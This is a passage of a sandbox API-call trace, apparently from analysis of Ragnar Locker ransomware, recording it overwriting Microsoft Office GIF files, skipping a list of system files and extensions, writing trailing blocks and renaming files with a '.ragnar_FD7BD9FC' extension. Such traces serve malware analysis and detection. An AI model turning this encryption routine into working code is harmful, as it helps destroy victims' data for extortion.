out: lpNewFilePointer=0x0) returned 1 [0099.205] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.205] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.205] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.205] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.205] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.205] GetProcessHeap () returned 0x580000 [0099.205] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.205] CloseHandle (hObject=0x10c) returned 1 [0099.205] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" [0099.205] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF.ragnar_FD7BD9FC" [0099.205] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.206] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56d8700, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc56d8700, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14982_.GIF", cAlternateFileName="")) returned 1 [0099.206] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.206] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14982_.GIF" | out: lpString1="BD14982_.GIF") returned="BD14982_.GIF" [0099.206] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF") returned=".GIF" [0099.206] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.206] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="autorun.inf") returned 1 [0099.206] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="boot.ini") returned -1 [0099.206] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="bootfont.bin") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="bootsect.bak") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="bootmgr") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="bootmgr.efi") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="desktop.ini") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="iconcache.db") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="ntldr") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="ntuser.dat") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="ntuser.ini") returned -1 [0099.207] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="thumbs.db") returned -1 [0099.207] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.207] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.207] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.207] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.207] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.207] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.207] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif")) returned 0x20 [0099.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.208] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=198) returned 1 [0099.208] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.208] GetProcessHeap () returned 0x580000 [0099.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.208] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.209] VirtualAlloc (lpAddress=0x0, dwSize=0xc6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.210] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.210] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.210] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc6, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc6, lpOverlapped=0x0) returned 1 [0099.210] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.210] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc6, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.210] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc6, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc6, lpOverlapped=0x0) returned 1 [0099.210] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.210] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.210] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.210] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.210] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.210] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.211] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.211] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.211] GetProcessHeap () returned 0x580000 [0099.211] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.211] CloseHandle (hObject=0x10c) returned 1 [0099.211] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" [0099.211] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF.ragnar_FD7BD9FC" [0099.211] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43c5a00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc43c5a00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14983_.GIF", cAlternateFileName="")) returned 1 [0099.261] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.261] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14983_.GIF" | out: lpString1="BD14983_.GIF") returned="BD14983_.GIF" [0099.261] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF") returned=".GIF" [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="autorun.inf") returned 1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="boot.ini") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="bootfont.bin") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="bootsect.bak") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="bootmgr") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="bootmgr.efi") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="desktop.ini") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="iconcache.db") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="ntldr") returned -1 [0099.261] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="ntuser.dat") returned -1 [0099.262] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.262] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="ntuser.ini") returned -1 [0099.262] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="thumbs.db") returned -1 [0099.262] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.262] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.262] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.262] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.262] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.262] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.262] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif")) returned 0x20 [0099.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.263] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=124) returned 1 [0099.263] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.263] GetProcessHeap () returned 0x580000 [0099.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.263] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.265] VirtualAlloc (lpAddress=0x0, dwSize=0x7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.265] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.265] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.265] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7c, lpOverlapped=0x0) returned 1 [0099.265] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.265] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.265] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7c, lpOverlapped=0x0) returned 1 [0099.266] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.266] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.266] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.266] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.266] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.266] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.266] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.266] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.267] GetProcessHeap () returned 0x580000 [0099.267] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.267] CloseHandle (hObject=0x10c) returned 1 [0099.267] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" [0099.267] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF.ragnar_FD7BD9FC" [0099.267] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.269] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30b2d00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc30b2d00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14984_.GIF", cAlternateFileName="")) returned 1 [0099.269] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.269] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14984_.GIF" | out: lpString1="BD14984_.GIF") returned="BD14984_.GIF" [0099.269] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF") returned=".GIF" [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="autorun.inf") returned 1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="boot.ini") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="bootfont.bin") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="bootsect.bak") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="bootmgr") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="bootmgr.efi") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="desktop.ini") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="iconcache.db") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="ntldr") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="ntuser.dat") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="ntuser.ini") returned -1 [0099.269] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="thumbs.db") returned -1 [0099.269] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.269] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.269] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.269] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.270] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.270] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.270] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif")) returned 0x20 [0099.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.271] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=182) returned 1 [0099.271] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.271] GetProcessHeap () returned 0x580000 [0099.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.271] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.272] VirtualAlloc (lpAddress=0x0, dwSize=0xb6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.272] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.272] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.272] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb6, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb6, lpOverlapped=0x0) returned 1 [0099.272] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.273] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb6, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.273] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb6, lpOverlapped=0x0) returned 1 [0099.273] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.273] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.273] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.273] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.273] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 